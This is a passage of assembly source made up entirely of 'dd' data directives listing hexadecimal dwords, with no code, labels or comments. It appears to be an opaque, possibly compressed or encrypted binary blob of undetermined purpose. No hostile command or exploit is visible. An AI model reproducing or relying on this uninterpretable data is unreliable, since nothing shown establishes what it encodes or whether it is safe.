0BBC0A65Fh, 3088E4D5h, 6F410909h, 7827B1F9h, 28A876A7h dd 17BB24A1h, 0B34439C7h, 40C4630Ah, 0A961A1E9h, 38EDCC06h dd 20A492h, 51CDD7B2h dd 0E1668E5h, 1D446100h, 0F3C2436Ah, 54242437h, 20FD051Ch dd 94985548h, 0DCD95478h, 4C020743h, 0E5BDD59Ah, 0B980004Fh dd 30035CD1h, 0F4F041F3h, 3800F7ABh, 0B9A9D997h, 9BAE914h dd 691EFCC7h, 21C86CAAh, 73F7C0C8h, 58950B22h, 172B03F8h dd 9AE171A9h, 0D0C170D1h, 0CF00978Ah, 7548BE64h, 0C6281Dh dd 117440EEh, 9BFC7F17h, 0AD007977h, 5BAB5C82h, 339A109Ch dd 0AE4072DDh, 26F7087h, 2B2ED6CDh, 0EE1988C8h, 65F5C968h dd 318029BDh, 15A778CCh, 1100B61Dh, 0EB2D645Ch, 20D1C39Dh dd 5B0D8DBBh, 409240B0h, 15874CE0h, 5C0F16FCh, 65521E80h dd 3501A429h, 67C92528h, 23CC5A96h, 0F38F01B6h, 43BB7038h dd 96D71080h, 0D6C200B4h, 8A2DC540h, 286F4773h, 286D8C51h dd 16778DAh, 54CD293Ah, 809456B0h, 4173BB18h, 3C4A3B1Fh dd 0FA1DC69Ah, 71007EC0h, 75DF0B6Dh, 0AA01E2EAh, 325EF3C3h dd 0D89FA45Dh, 0CA9A86F9h, 840449B9h, 652C4245h, 0ED5AC0FFh dd 0B318EC4Fh, 0D158FC05h, 0A874A80Ch, 30B400E3h, 0BA93A9A2h dd 7C01C371h, 54E263BDh, 50478488h, 1A20B690h, 0A6AD0662h dd 80E1A83Fh, 2028FA30h, 0CC7B371h, 0AC6A03B5h, 0E96B18h dd 3167D6h, 117A3269h, 2ADBD399h, 0DCFAD100h, 92F78119h dd 0B1F60AEAh, 0E833ABh, 0EFAA733Ah, 0DCA35A40h, 58BC39C1h dd 5B5C0338h, 0D2F11841h, 207A72D8h, 6EFA6D87h, 0B7A04107h dd 22096AE9h, 82A2AF1Ch, 60BE1FF4h, 0CA7DC76Ah, 0F1C7F18h dd 64E01834h, 0ADB5F62Bh, 338D470Ah, 0A5198D08h, 61802680h dd 7CC263B0h, 7121022h, 4207FAFh, 0B1CC40h, 0E7ACFFD6h dd 0C81990B6h, 0CA207261h, 0C080B356h, 0BE2F3CF6h, 0A4709B78h dd 8E23B801h, 93067029h, 34C1E080h, 6D625F6Fh, 67D81E1Dh dd 0E5D722C2h, 0D658402Bh, 0ACBB0D7Ch, 0A00B40h, 0D830294h dd 12006891h, 6B1E180Ah, 26EA2A3Fh, 5C29039Ch, 3B602530h dd 0ACAEC9FAh, 98C14040h, 407663Ah, 0FA6BACC8h, 20B96DF6h dd 0B300B26Eh, 7A215A1Ah, 1E739829h, 25F41767h, 3F018ED4h dd 0BB8FCC4Bh, 4CD68180h, 741D233Dh, 2025ABA1h, 480F46FAh dd 0F2AEFBEFh, 0AC8AE041h, 0A3303B3Eh, 829D1C4Eh, 0E6003CC5h dd 2918C062h, 0F5411EDh, 0D53101E4h, 8ABB3890h, 9199C848h dd 3CEE80ECh, 8CC9F997h, 8FFB30C4h, 0DD428D48h, 5E7F225Ch dd 39D08848h, 45722400h, 5991FABFh, 0C3FE00CCh, 0FFCBC62h dd 98AB80C1h, 7BC7856h, 546D4983h, 5F575BF0h, 0EDFE0250h dd 0AB257A8Fh, 0EF407200h, 0D20D286Ch, 80B75044h, 32D8A8F3h dd 0B44114C9h, 586CAD1Eh, 680EE21h, 5EF4A85Fh, 98501FFh dd 0D9CD0D54h, 1FC5F8BDh, 0FE61C00Fh, 0FEF8045h, 0F8E5E96h dd 331AC486h, 50A5805Dh, 0A148220Dh, 0B5EADF00h, 7F2F87D1h dd 0B22400C0h, 9C981509h, 10008D22h, 1450A4C3h, 76F278Eh dd 8FDF8BD7h, 0A05D175Ah, 9EA6A5C0h, 71581E60h, 0E2993ADBh dd 423B00BBh, 0C169873Ch, 0D10043CAh, 0E89A79E4h, 4403C91Dh dd 2707DDE1h, 43ABF3FBh, 5F353E50h, 0AFEB0098h, 0DE37605h dd 553C2523h, 0F91B79ACh, 0C938BD6Dh, 98806E0Eh, 3119765Eh dd 3F00C294h, 0AB828505h, 64CCA480h, 439A5015h, 47D88Eh dd 0A6C40D41h, 0FE15E6A1h, 0FB04A700h, 371D2FC0h, 0AE8E0301h dd 0B65E9A3h, 2074A801h, 28E70AC7h, 841FB980h, 0C36FE6CCh dd 77D8890Ah, 8F06B8B5h, 0C9854F0h, 0D2F913A5h, 0EB305531h dd 0DD671851h, 5C17079Bh, 9036CC05h, 0F0BAEE42h, 0D906F918h dd 0A8A355D9h, 74BFBCh, 25793DB1h, 87100F7Eh, 0C9461230h dd 3DC7D8Eh, 89FAE31h, 39383AE7h, 5E0F7754h, 0C07274F7h dd 297C95F6h, 0E37300C2h, 0BFF1E5F8h, 6C00AE6Bh, 0BC1CA3D7h dd 0F420C326h, 0D260A16Eh, 0F8F27843h, 99EDDCh, 5F7B8F6Ah dd 0FCFE176Dh, 0B8876C02h, 0C3F593AEh, 0AD480E1Fh, 7460840Eh dd 0B78E08ABh, 773048h, 1859D85Bh, 786368h, 0E07E8B1Bh dd 0EA28C393h, 4806D20Fh, 10241CA2h, 44117493h, 0C80B1F9Ch dd 6CF3FA80h, 4C8A499Bh, 60037D16h, 0BE22AD6Bh, 5512A800h dd 97EFCD66h, 1D2105C2h, 5646E25h, 413281E4h, 999B44E8h dd 6A0FCCFEh, 8CC5E624h, 3DE01494h, 1BD8C0ECh, 8009CB1Dh dd 0A0E889E1h, 29448C19h, 98725455h, 54BA00C5h, 25653316h dd 0FD001210h, 2DD2137h, 0DA447h, 0AF57D368h, 3A7142E5h dd 7F449A0Fh, 807D09D9h, 6650A90Dh, 0DC7281h, 713A936Dh dd 0B851B001h, 921B8300h, 0DC68C944h, 579C0054h, 8670207Ah dd 80280C99h, 0E8001094h, 0F7F4497Ch, 0EEAAEE8Ch, 63010346h dd 0EF594281h, 88C070E3h, 4D10DF5Ch, 5D00440Ch, 47CE36A3h dd 91004A02h, 0B1E26C88h, 0E04645AEh, 508A30A5h, 6E3D9490h dd 7B0EAF7Ch, 6106C4BDh, 9CE3B816h, 1CBEC0E7h, 0C97C0C2Bh dd 46288418h, 0B58A2100h, 0D83D0E57h, 27300A1h, 7493DCBAh dd 0AF0C4484h, 6041FB90h, 0F8E29Ch, 10DCEF4Fh, 848A9E3Bh dd 487B7F30h, 0E88C008h, 6B909239h, 7660B00Ch, 0F6951300h dd 77D18298h, 8DCF0037h, 0D60D8FE2h, 0C820CC43h, 709B3089h dd 3CA2B0F0h, 0A0183577h, 5DA96C18h, 199D070Eh, 9E9B7456h dd 0CD4B5EA1h, 0ECDBC0BEh, 8C9E6E15h, 52772684h, 8642C600h dd 5C5A979Fh, 0AE006C7Bh, 0B85B0E27h, 0AF0133B7h, 19C991B1h dd 8850837Ah, 0D9DF058Dh, 80D59070h, 7FE743F9h, 86B5FAh dd 9F9023FBh, 556E6CD1h, 0C8795A00h, 223971A6h, 20E12428h dd 80091D04h, 0F183B91Eh, 69CD4380h, 688E507Bh, 22F17F2Ch dd 626B00DDh, 9117E271h, 60AA86Ah, 0D4C895F1h, 848C0883h dd 4496B8A5h, 9CA1004Bh, 0ED75D043h, 0B092991h, 10818E32h dd 0E91E501Ch, 662E4E0h, 253D47A3h, 0D500E95Bh, 0CC824DBFh dd 0FF33B020h, 368BFF00h, 4BF1D900h, 0C8423EE5h, 454306C4h dd 0B0101E62h, 2001C17Ah, 0ECDF808Ah, 0A1E2C9ADh, 58EE1994h dd 0D2A6619Ch, 431C3091h, 0BD073C24h, 0F04F1265h, 7AB1F07h dd 6016C4F5h, 2F240081h, 842C1BFAh, 0AB000C36h, 0A7690E66h dd 1C9FAAh, 5AF79AB8h, 2DD58B9Bh, 3A480C38h, 40BD3094h dd 599E364h, 788CF918h, 19B04236h, 450061FFh, 3490FDEh dd 0FDAFB48Bh, 18094803h, 20B28006h, 4370AA8h, 63C97E41h dd 5A949931h, 0F2CBD900h, 4E0BD353h, 18C173ABh, 0E9E8B3D0h dd 9D09F769h, 1CD1336h, 0DBC8838Dh, 4A6C840h, 9743026Dh dd 999CE5BFh, 846E6141h, 5DDC0661h, 0F6DA4602h, 0D648E0A0h dd 0BA00D7E8h, 0FDA4DF8Eh, 2BEF86h, 8DDE9378h, 0A4F369Ah dd 97473B06h, 3CC1B003h, 0D080C3C5h, 81B8E5C9h, 560C02D4h dd 0A9F9326Dh, 461716B2h, 2677000Bh, 0D220EBCEh, 6C9A9513h dd 8F502C27h, 0F444Eh, 0F0E22603h, 5D138A43h, 0DC773328h dd 0AC7BAA29h, 34692980h, 35AAF8Fh, 9B4B4202h, 88A281E2h dd 0B84EC4A0h, 0B348C5C7h, 8C998038h, 7B53F6E8h, 9C623B39h dd 30DCF8D0h, 47D107F7h, 0DD48936Bh, 0F1801EA0h, 0D042AC12h dd 60E283B0h, 95704AAh, 8D2614C9h, 2D6D6C90h, 17C59900h dd 6EB43CEBh, 6C8F0A20h, 11F8DE8Ah, 492101B3h, 10E93A19h dd 0EE36BC50h, 8DE5009Bh, 0BDDFDA5h, 3C2452B8h, 0E90C3C70h dd 37297Bh, 0CEB56664h, 0AFA4FE5Eh, 0BCF8DC00h, 0A63919A5h dd 245D06AAh, 0F132B3C8h, 0E62FCD00h, 2926EC4Fh, 8372A9h dd 0DF35A49Dh, 535C2E0Fh dd 7F102000h, 7914526Fh, 0A824EB2Ah, 0C0B60004h, 9B88E6F0h dd 221472D8h, 70640BF2h, 0B5137D00h, 0A949F441h, 736B00A2h dd 0E10A6209h, 5EACA7Ah, 90A70E2Ah, 424840F6h, 120C2238h dd 0E019B7FFh, 901D443h, 789DAD30h, 51D052CFh, 0A1DA17A6h dd 0D01206D9h, 0BB07496Eh, 41B7D807h, 52A732B0h, 0E8BFEE40h dd 0F70D004Fh, 0B8D80CD0h, 0A4A02839h, 0AF805B65h, 7489143h dd 0D9121B64h, 0A9FF9490h, 0F1AEB222h, 0A4A83308h, 5301FC81h dd 115A3E18h, 48D8F12Eh, 6BE41365h, 9E9840E2h, 0D20877E6h dd 1A6FB002h, 0C09DF2BBh, 7A2CC3E4h, 0FDA0C1E9h, 309943D9h dd 61BE4A8h, 81D9F90Eh, 34247E91h, 2C24ED94h, 7FD5262Dh dd 0E3720010h, 1B3E3A10h, 8396FC00h, 0C291DA75h, 0DEFA1853h dd 281189C8h, 0E094E700h, 24865070h, 7DEB0B83h, 140232CAh dd 6E502838h, 0C7A13078h, 7D388BC9h, 0AF2306B2h, 6DBD4C11h dd 21A71600h, 0F08D78D7h, 0F2098801h, 6DC7D1FBh, 442C6064h dd 0B10350B2h, 9CB44B73h, 0A0EB8A81h, 0C93DABA4h, 93F71809h dd 1C6FD949h, 6944290Eh, 0BBACDFAEh, 8096FD0Ah, 0E9416444h dd 0D43D93D9h, 25303CF7h, 0EEA41965h, 3EC43AC5h, 0F5B1ED06h dd 381CE47Bh, 1466C30Bh, 5231B761h, 30101CF0h, 0BC198626h dd 9261FFEh, 0A00CB4Fh, 8497C78Bh, 33863DF8h, 3AC4318Eh dd 0A2AF94A2h, 23009C64h, 0BCD595F2h, 33D4B43h, 0AE382D9Eh dd 9900D87Ah, 0DA864AA6h, 0B366D73h, 8C6CC868h, 0E5B038A0h dd 0A507474Eh, 2DD05129h, 6D247710h, 1FE9F01Ah, 54F1C5Ah dd 707919h, 6D98760h, 0C44D862Bh, 1F411C20h, 1415C9h, 9236EC78h dd 62492843h, 449B1374h, 4884204Ch, 0EA0051CBh, 0B32B1E08h dd 52E8CCh, 2F5366Fh, 0E939543Fh, 0FB4A4507h, 0D2C06B71h dd 0EAB30A9Ch, 280C9869h, 247079B1h, 80E0264Ch, 2C1554CAh dd 8D76FAD2h, 53122000h, 0ED639BA4h, 0D7C01C47h, 0B8B04B43h dd 0BB0094AEh, 2A5BD6BCh, 0E82EF400h, 0D1AD99ABh, 0F0793932h dd 8121C189h, 8F20F816h, 210C0A3Bh, 83C81EB1h, 7F3CC23Ah dd 7083FE88h, 826CA7Dh, 0FA06F0C0h, 2904B7h, 0D036274h dd 0B9E67F3Dh, 1C92D112h, 7621D418h, 0FF1B0063h, 0B05A06Ah dd 5B26AB62h, 0B38C10ECh, 0F62906h, 8BF55AA4h, 23A62B26h dd 67FB7B01h, 83DA908Ah, 940177DDh, 87E05385h, 0B1185AF0h dd 0CE5C9901h, 0B60669ADh, 0C08660h, 303A39BEh, 88946EDBh dd 0B477D22Ah, 8E733201h, 193C0A57h, 4A8844EEh, 50E4208Dh dd 280A269Ah, 0D08CB9AEh, 0FC431465h, 0E9BE623Ch, 4080E627h dd 122EBD1Bh, 9C0052EDh, 72B13FB9h, 4A9B0D59h, 681C207Dh dd 0B028FBBDh, 0BB0BC9C1h, 18E2B227h, 8345B748h, 0E0802EEBh dd 0D6007519h, 0F49949CDh, 59B2A2Bh, 0B81E5B42h, 0EBA00FCh dd 5086DB1h, 491170B9h, 0C0A9EE1Dh, 2ACDF4D9h, 0D52C9D3Fh dd 7C0B8B0h, 9EB8F1h, 0FFA1E026h, 67DDC94h, 4B00DBF0h dd 0D3CB5D22h, 6FCE9Fh, 20239B14h, 6C1E2B01h, 6BE50507h dd 43DED3CCh, 80FE1F4Fh, 9A8FE4h, 58A68044h, 9C0D6337h dd 65543Eh, 76E6A9CEh, 70E4DA1Eh, 799E01A5h, 0E9A4F425h dd 33A0FB99h, 0EE3A9FEDh, 0B23E04C8h, 0E6C10D3Ah, 1880D298h dd 31A97594h, 9E0F51F1h, 20FE0912h, 0E1263FBFh, 4A740C91h dd 0EFB95E50h, 0A91CAE00h, 9602CDEEh, 86B0CF81h, 0F30A560h dd 440F8FB6h, 0C992E5A9h, 0F57100A8h, 0C02C064Bh, 0AA90F471h dd 5D0370E7h, 53CC866Dh, 0CA36E0A0h, 0E680A8C8h, 0EACB30C0h dd 0F60C6D30h, 782835F8h, 0A41010B1h, 1580ED36h, 6BF773Fh dd 862DCF1Eh, 359F9971h, 7D7900E3h, 8DCA6801h, 9B006B73h dd 56B403CDh, 60715C85h, 3B7A3115h, 0E900AA6Ch, 70554A86h dd 0F4E11739h, 3671CB2Dh, 1F44FA08h, 5540BAEBh, 821FED1Fh dd 6BE3F200h, 0A09A4FB7h, 934E94h, 8496A77Eh, 0FC56C555h dd 265E7200h, 3039DF0Dh, 0ACFB0F6Eh, 9A3A888h, 36F09C16h dd 40C0BAECh, 0F19437D3h, 80913002h, 0EFFEB578h, 7F8C13Dh dd 2F7B727Ch, 6E9B7380h, 0D1DD00E3h, 0D8FDB655h, 0B33565BDh dd 0AE80B1BEh, 7F2D087Fh, 71560C72h, 0CDC0E527h, 0AC53C500h dd 76B7589Dh, 0F78700E9h, 0D316204h, 0E667D5C4h, 40803A28h dd 63B32A7h, 9D9349F5h, 0D302E905h, 7C336EA1h, 64C487F1h dd 1394016h, 0A5D29CD9h, 0FCF8BFBAh, 96011380h, 2710D725h dd 0B84043FEh, 787498ADh, 0CDAA02ECh, 9CB96373h, 86CEBC87h dd 1698697Eh, 0A950600h, 6DC11EC6h, 50B0E48h, 282003A2h dd 3CF34B0Dh, 0FAFD1A0Fh, 0F1183353h, 3B2C9FA0h, 15075CC4h dd 0D08EEE6Dh, 2DE95BFDh, 1F9DE001h, 65A42862h, 0A0907088h dd 4907F93Eh, 0A1F1A80Fh, 1363D4D9h, 72870443h, 8C848CE4h dd 2C5B7600h, 73D87D01h, 74160010h, 45F3A618h, 48496440h dd 0C3630034h, 0B5876813h, 0EFED00C6h, 0F6495436h, 107A0BBh dd 0DA73B9A4h, 0EE82D05Ah, 0C038B56Bh, 49640CABh, 0F62C8095h dd 0C08E1585h, 544CD050h, 5B946Ch, 8DECCED1h, 0AFDE971h dd 9FA9C460h, 3F83C48h, 0A2E1CFB4h, 1DA8124Ah, 0C800C24Bh dd 74CE9A62h, 500E2F63h, 405AA028h, 0C0000CCBh, 7E291D72h dd 0FDBA44Bh, 8932DD06h, 0E987C680h, 0C1D735Ch, 3B47CDC3h dd 51E311Dh, 4C03B540h, 0B965B6h, 1860C989h, 73278503h dd 0F6FF8607h, 0A64026CFh, 0E6A14653h, 9C36092Bh, 8010549Dh dd 0CF556EE6h, 57E5F98Ch, 0CB4AC0D4h, 0FE07636Fh, 9B839099h dd 1A8F8881h, 3E0F0DCh, 0F435A59Eh, 8124A3AAh, 62008AEEh dd 0E50DF0DBh, 63CB7193h, 49386983h, 98CD2900h, 4D247235h dd 1758902Eh, 0EA95CA9Dh, 3C269800h, 99E33EFh, 478AD06Eh dd 88446B84h, 0E10BCB0Ch, 803FDE59h, 644AF2C0h, 42D13E9Bh dd 31C40783h, 22D96CA2h, 8CF8547Eh, 6A00EB98h, 15BF62EAh dd 203AA39Bh, 7B309A6Ch, 6EFFA98Ch, 750800B8h, 129B3D79h dd 0AE0245D6h, 0F2B082E0h, 0EAD868A1h, 0DD89806Bh, 5F3FC500h dd 0BC68436h, 0AD7C00CAh, 0AC321F40h, 8601F604h, 74AF509Bh dd 7433EA53h, 0B328097Ah, 9818BB99h, 296BC8E7h, 0CFC305B1h dd 0CEFFC844h, 0CBF9C7C1h, 0C6F052F0h, 51D83881h, 800F353Ah dd 54A49297h, 0BB1994Ch, 6D9B94C4h, 1C349003h, 7D97E680h dd 8C467CAAh, 7947A237h, 437CA470h, 0B080A02Fh, 0DA0D0A6Ch dd 5CE502h, 0ADBD9C0Ch, 0C831F0DFh, 4BB819D4h, 17AF4C24h dd 1E10CB03h, 67B7E91h, 2E74E3Bh, 2900B9F8h, 17194475h dd 26AD46h, 995FABBBh, 24D74E77h, 93051298h, 3259E56Ah dd 6D341890h, 853F011Bh, 0BBBDA70Dh, 0C9A0641Ah, 7C44F900h dd 82485768h, 3DB00011h, 0B3EB4797h, 9C38204Ch, 70CDA4A3h dd 89B1C809h, 10294Ah, 1905F1F4h, 0DB4530DAh, 0B1B01EA1h dd 3401DEE8h, 7F23C28Fh, 0F8DBF0BBh, 48A720ADh, 79802C35h dd 759AF87h, 3B270200h, 8839A0E6h, 9BB730CDh, 4765D8A0h dd 30A96900h, 770D298Ch, 628106AEh, 492E06EBh, 0E3856307h dd 9B0E741h, 3B7E86F3h, 78368B8h, 0C687A49Ah, 0AF14087h dd 9854A224h, 0E40FA68Ch, 60F4522Bh, 8DF8FC39h, 0A0421368h dd 0EC404061h, 0AE59576h, 0AE405004h, 649C9FE8h, 0B3EA04h dd 8C5F5518h, 0E43848F7h, 111A5200h, 0A4DBD706h, 36A9CF2Bh dd 0C8219429h, 0CB744138h, 882CCBF0h, 0E1BC9200h, 57F44B8Ah dd 8D0500B4h dd 8FE0D94Ch, 3700A209h, 0D0A96E6Ah, 1EEF9319h, 5884976Bh dd 0AB411859h, 42164D00h, 0F0CA068Eh, 0F9B74067h, 0FDFED912h dd 0ACBA8501h, 5CD409C3h, 0D1CD03D2h, 6D5ADC2Ch, 0AE6E8802h dd 0C3DA3DEBh, 5B9D808h, 0DEF0022h, 98477A4Ah, 89C0FA69h dd 7E520136h, 627AF4h, 0B1320D79h, 919A6F2h, 20C5C0Ch dd 1B6AE1F3h, 91D156CEh, 4577D9C0h, 5C738505h, 0C03FA84h dd 0F8046Bh, 0EB276061h, 2232BC0Ch, 48407A31h, 889D371h dd 0AA00A36Eh, 57EAF5FBh, 0C2629100h, 0A4D0F9C6h, 0FF79C44Dh dd 872A80D4h, 3700C148h, 0F5A75CD5h, 4AFDFh, 0C2CEBC7Dh dd 56D44397h, 89819831h, 0B9809F31h, 0D6F1A2D0h, 2100256Dh dd 48A1E8B4h, 1D159B60h, 80395C40h, 6AEF4F0Dh, 317E6428h dd 0FB4C790Ch, 1861A9C6h, 516B376Fh, 3E01DAF9h, 3539DBD9h dd 97E4CFA0h, 170F184Ch, 9007302Ah, 4010D7Ch, 43FAF4B3h dd 9980A759h, 5689DC32h, 2C00198Dh, 60BA12BEh, 0E30417h dd 0BB7A4F75h, 6DA91622h, 0ACD7CC2Ah, 0C33F83Ch, 890968FEh dd 56991E9Eh, 6AE6C0FFh, 0E9FDB951h, 0E9F3F0E0h, 1441004Fh dd 0FC4C3A37h, 0C0FB6B15h, 0ABE6127Ch, 3118465Ch, 9600D986h dd 227D7B4Ah, 0D1D547h, 690F8FEBh, 3B42186Fh, 8C36741Dh dd 0B859830Eh, 68BF48h, 5784D519h, 5AC85F1Eh, 9490CA61h dd 18CB094Fh, 0C9501871h, 0F6001528h, 0D622B5E5h, 3917AC34h dd 0DB80FE6Ch, 0F22B5ED8h, 0DD063AF4h, 5953128Fh, 8D092041h dd 94D9E600h, 49A954DBh, 0FF810C7Bh, 7D48E0D5h, 0AF33E573h dd 331E868h, 665D6A09h, 51A0B105h, 2113DB9Bh, 0C800B43Dh dd 0FE4D3044h, 0EADE0022h, 9363C2A0h, 6090A3AEh, 6F0CE18h dd 3ACA79h, 790EBDA9h, 1DF9384Eh, 87F2843Eh, 0F358E306h dd 2434D46Ch, 46F49E4Ch, 653998C8h, 84C790E6h, 546D7D7Fh dd 8B8872h, 38E2897h, 29604236h, 2BB08C03h, 0C9CCB6C9h dd 85D0100Bh, 749600A0h, 459AB3C0h, 71D2F0Fh, 28F0E4D0h dd 1A05A09h, 0F8EA2399h, 81A8464Fh, 0AF1E7850h, 47082A25h dd 3A3DA444h, 7C8F35h, 18C475CBh, 0E5ECDF2Bh, 683CD500h dd 0BDC3E049h, 8650030h, 785896CFh, 3674F40Fh, 88FEAD30h dd 7B3186B3h, 58B76EDBh, 0C637B103h, 0C83644B0h, 6B717500h dd 0AD4B48C0h, 0DB1C7EEh, 789EB020h, 91CEB433h, 0BE50D96Dh dd 0B64201h, 6F2D37E7h, 0AD86A884h, 96E019BDh, 455663Ch dd 0BCF81A48h, 0DB8BE800h, 83194534h, 9AE00841h, 10A82890h dd 423DCFDCh, 0FE00AC52h, 0E24F6FBBh, 48EE2652h, 9E2D5410h dd 0C71B0C00h, 369A12E0h, 6BD6F600h, 0C6ACFC62h, 6941C0A6h dd 0C59255D9h, 7B4EF800h, 42110BC2h, 0DC430F9Bh, 0DD219334h dd 80E64937h, 0F218AA30h, 3F306D69h, 3E004C2Eh, 9442BAE1h dd 0FF002F04h, 124F4D32h, 2AE5C619h, 7CD48A9Fh, 0B8110508h dd 40BBC031h, 0CE36BC84h, 0ECA47155h, 3F5DDC00h, 0B9EA3D2Fh dd 7A200ED7h, 0D0011ADh, 0A28D9586h, 82614B69h, 0A81A9F15h dd 0BD08BCCCh, 0C73684B3h, 8E6C008Ch, 3F3C029Dh, 0E10916AFh dd 96881E5Fh, 5CBC0298h, 80E1C191h, 949C5027h, 3A025FEDh dd 0EC570BB4h, 81E6E0A5h, 61EA61C6h, 0CCDC863Ch, 31002962h dd 0F07FDAABh, 62FD666h, 34E65D9Eh, 3114F941h, 1D4CD0C5h dd 220CB2Eh, 0B7BC6D1Bh, 2C493BB1h, 0CDA420A5h, 0E63DA09h dd 0A81C2C2Eh, 762D0057h, 45FA016Bh, 8954C68Eh, 77F00C98h dd 0C7714900h, 34EDB06h, 0BC240044h, 0A5A99525h, 9949D631h dd 0CBC90070h, 0F9BA2F03h, 9832522Dh, 0A06C1600h, 0BFFA9D12h dd 1D707518h, 1F25061h, 9C233F7Ch, 0E0363BBCh, 4818E6ACh dd 0E8B9D147h, 11DB0C74h, 0BB51DC87h, 4247D300h, 0E97AB089h dd 0C750050h, 0CA5152D8h, 6092CC6Eh, 0FC09E715h, 3C6C0188h dd 26CDE155h, 1876C450h, 89B1004Bh, 0D6881508h, 28009371h dd 238CF4C0h, 12689103h, 40DEC676h, 51128928h, 6D3F8464h dd 79FE8082h, 723019Eh, 6E0D01ABh, 94E78BB9h, 20320Eh dd 2E4B0FB0h, 0E39ECCh, 3521490h, 0DD8C617Ch, 7F284200h dd 4A8B85FFh, 0C27012B5h, 63B82069h, 9577DDD9h, 24D8C852h dd 704AE831h, 0F9CA5E03h, 11709Fh, 94B2DF33h, 51A4E336h dd 8124CDEAh, 0DC8000A1h, 12BBEBA0h, 44280E08h, 0A9BBFF7Eh dd 0B8A0E1DAh, 21568440h, 96901807h, 0C250A936h, 14EA45h dd 59EC6A91h, 7E8722FCh, 33E7FCA8h, 0C02436D0h, 545D0708h dd 0EE3F0E0Eh, 2A09093h, 0D63EB7A2h, 6167580Eh, 0A5897994h dd 0D30F3110h, 0E80F4ABh, 707EB29h, 0EFC46BECh, 92424300h dd 8113008Eh, 0B6D62008h, 0FA3B777Ch, 7E51820Bh, 838ADA2Eh dd 80C31A9Ah, 78EC08ABh, 97473AF8h, 14FB7106h, 8F1E593Ah dd 2B8064CCh, 0F87552AFh, 76510EC5h, 0F44F4281h, 6107E800h dd 80E9E7B9h, 9F6F249h, 0C0FD7542h, 2DAE9021h, 1F309857h dd 284928DAh, 0E830C0F1h, 6856D29Ch, 0AD001D90h, 73CC0D6h dd 0E9E4FDh, 0BB51B95Ch, 242C25D7h, 6B802300h, 962F11F5h dd 927D4805h, 0D6B60174h, 40EE94E0h, 0C1A2D05Fh, 0A59C6600h dd 1C05C004h, 0B6F5005Ch, 36C7C598h, 0D003877Bh, 1B658984h dd 9B40000Ah, 0CE44E001h, 2500DAA1h, 36CA0B1h, 3C1430Fh dd 0AD8EA758h, 310E8963h, 0A7F9270Dh, 400E0119h, 354ECB0Bh dd 0A0D03017h, 849F3079h, 0E7AC970Ch, 18C93890h, 0E8AEA63Ch dd 0AFEA7EE5h, 0A040C1C0h, 2A878FFh, 17247BD3h, 24A0909Fh dd 651497BFh, 2BA4391Fh, 0AB193A83h, 0B6200FD7h, 0F4204660h dd 87162FFAh, 942CB18h, 371EC058h, 0D329DB22h, 8100BF66h dd 1127733Dh, 749D9F76h, 2F120093h, 846875FAh, 0C330B55Ch dd 278B391Bh, 0A14D002Ah, 0CB58BA99h, 4003201h, 73FEED39h dd 94C7DFh, 69267414h, 0E5B1A72Eh, 3ECF3703h, 0CEDA2152h dd 42633048h, 0F2D68F1h, 1341B900h, 62595D31h, 98CB3B8Dh dd 840A5CD0h, 0C3653316h, 8905741Fh, 9C40FCC2h, 9CCDB469h dd 3A75005Fh, 1A9F7F2h, 4C02A0F0h, 6465A5CAh, 542C4881h dd 56FC5C80h, 37845303h, 0E5C00F91h, 0B4006F33h, 0DCDDEA90h dd 0AB65CA89h, 938800BCh, 9519E4D2h, 0DCA8B570h, 0AD4043ACh dd 0DC6E008Ah, 0DF071E23h, 6618AAFFh, 7C28B1DAh, 87851D06h dd 6F9D8081h, 4A0E8B92h, 0B1DE5F00h, 6C1AEBD8h, 3EDF6DCh dd 7FE558D7h, 79032C65h, 830DCED0h, 0A24680B5h, 33720055h dd 6180841Fh, 88C9EC0Eh, 2E2C10E3h, 410E98Fh, 7CA028D7h dd 0B800F17Ch, 7FC8E195h, 0DD80CAh, 30944C86h, 4276815Ch dd 0C9F52C00h, 31CF222Bh, 631C187Dh, 0DB95136h, 1599D1Dh dd 8FC37E80h, 0DE48BC56h, 8C8B00A9h, 0B7CF63CCh, 0E4842F4h dd 0E4B922CCh, 402548BFh, 0B08ADEC0h, 449165C9h, 0BAAC3900h dd 3D332D4Eh, 55005FBBh, 0CC1868D1h, 49C02BBDh, 5373500Ch dd 7757506h, 55B84170h, 3EDE8088h, 0CD7DFCB2h, 7CF48471h dd 0D4F67A24h, 9E846394h, 0F80119Dh, 0AE89CC84h, 7D8FA40h dd 0DE6116E9h, 590AC07Dh, 4C12D2F5h, 2F15150Dh, 9AB3704h dd 0F4492D90h, 567924ADh, 920D1014h, 0D11A4001h, 9C503766h dd 0F43857h, 2ADAECB9h, 597DF6C3h, 1D93BC44h, 304ED8Ah dd 0C168469Ch, 0AC2E6810h, 64840077h, 16E44E40h, 0D01227Dh dd 1F9BFD2Ch, 918030B1h, 42C32492h, 9F00CB4Ch, 3E2D294Fh dd 242EFD2Fh, 8C582A0Fh dd 8F31979Ch, 4FF27900h, 41F85C3Ch, 144900CCh, 0CE285F0Dh dd 3B4EE1E5h, 31789FB0h, 404855A7h, 153A0A72h, 0C5BA500h dd 1E858BE3h, 9E65C600h, 38AA7E79h, 0F3170A91h, 42A04C0Dh dd 6C00C14Fh, 2AD97h, 3C0EEF0Fh, 0D37EBF08h, 0F6C54000h dd 0B7D08D4Eh, 0E6D43E86h, 0DEDCD583h, 49009A0Dh, 78BCCFB9h dd 3C1502FBh, 0F67128h, 8E58C546h, 6165800Eh, 15B01E50h dd 5DFB718h, 29E5638h, 7ADE9BC2h, 3C48BC66h, 0D24C1481h dd 4A4D0050h, 242BA567h, 0EDB8000Dh, 0F3282DCDh, 9901DE7Ah dd 0FE881813h, 62658Ch, 0EC024600h, 12B0D066h, 0EADFAB0Ah dd 30074ACh, 0E88829A8h, 0B46602D8h, 22EB8E27h, 0DB69BAC0h dd 7B1F5E07h, 0E7F0D459h, 1DE567AEh, 44DD5B8Dh, 80BBF8EBh dd 0BFEAA9F5h, 7A881706h, 28DBF9h, 59A4FC10h, 0F42AB39Ah dd 0E5BE0903h, 0E6CE927Bh, 62701D20h, 60E900B5h, 24937AEDh dd 375CC5Ch, 531E8499h, 0E9280026h, 690B79AEh, 2D030DCBh dd 6AAAC13Fh, 346801E6h, 583A48EFh, 0F494DC78h, 83BE6000h dd 863EE1D6h, 93D23D1Bh, 9CB066BBh, 0DE77571h, 0C6758C0h dd 0C6BDFD70h, 5979E119h, 9D603076h, 6F426531h, 74F800CCh dd 9C73F203h, 1E305348h, 13C7A168h, 2E5E03AFh, 60A47BB0h dd 9D0F1900h, 754F8E3Dh, 3B39F442h, 36141CE6h, 6200400Eh dd 12F61604h, 6854D484h, 